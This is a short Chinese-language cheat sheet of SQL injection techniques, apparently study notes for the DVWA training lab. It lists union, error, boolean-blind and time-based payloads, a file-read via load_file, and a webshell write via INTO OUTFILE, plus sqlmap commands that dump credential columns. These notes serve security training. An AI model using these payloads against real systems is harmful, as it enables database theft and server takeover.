SQL injection(DVWA)

Recovery

1 正常
1’ (1")报错(有注入) 
1’ or '1'='1 正常(字符型注入)
1 or 1=1  正常(数值型注入)
1’ order by n  (爆字段数)

*联合查询union左右两边查询的列数要一致

x’ union select user(),database() --   正常(union联合查询,全可出)
x’ union select 1,table_name from information_schema.tables where table_schema = 'DATABASE' --   (爆表名)
x’ union select 1,column_name from information_schema.columns where table_name='TABLENAME' --  (爆列名)

x' union select 1,load_file('(eg.)C:\\Windows\\win.ini') -- (系统文件)
x' union select 'x','asad' into outfile 'xx' -- (出异常,爆路径)
x' union select "webshell","" into outfile "PATH.FILENAME.php" -- (写入一句话木马)

Blind

Boolean(只有真和假两种状态)

一.正常操作,得到真和假两种状态.
二.真 AND 假 (若得到'假'则存在注入)
eg.
1 and 1=2   (数值型)
1' and '1'='2
1" and "1"="2  (字符型)

length(str)  #获取字符串长度
eg.
length('test')=4
1' and length(database())>1 -- 
(True) (True or False if True Then True else False)

substr(expression,start,length) 
= mid(expression,start,length)
#获取子字符串

ascii(string)
=ord(string)
#获取第一个字符的ascii数值,单字符的ascii范围是0-127

eg.
1' and ascii(substr(database(),1,1))>64 -- 

Time-based

if(expr1,expr2,expr3)#判断expr1,若真则返回expr2,假则返回expr3
sleep(N)#休眠N秒
eg.
1' and sleep(if(length(database())=4,5,0)) -- 

benchmark(count,expr) #重复计算count次expr
eg.
1' and benchmark(if(length(database())=4,5000000,0),md5('test'))

cast(expression as data_type)#数据类型转换(表达式 as 新数据类型)
eg.
cast(database() as char)
isnull(expr1,expr2)#若expr1为null则返回expr2,否则返回expr1
eg.
ord(mid(isnull(cast(database() as char),0x20),1,1))>64

sqlmap

sqlmap -u "url" --data(POST) "(eg.)id=1&Submit=Submit" -p "(eg.)id" --cookie "(find from Burp)"

#-v 1-6   (show detail)[6 for most detail]
--current-user
--current-db
-D DATABASE --tables
-D DATABASE -T TABLENAME --column
-D DATABASE -T TABLENAME -C "(eg.)USERNAME,PASSWORD" --dump

Second page

sqlmap -u "url (in which you input)" --second-url "url (on which you see the result)" -- data(POST)  "(eg.)id=1&Submit=Submit" -p "(eg.)id" --cookie "(find from Burp)"

When parameter in cookie

--level 2#para>=2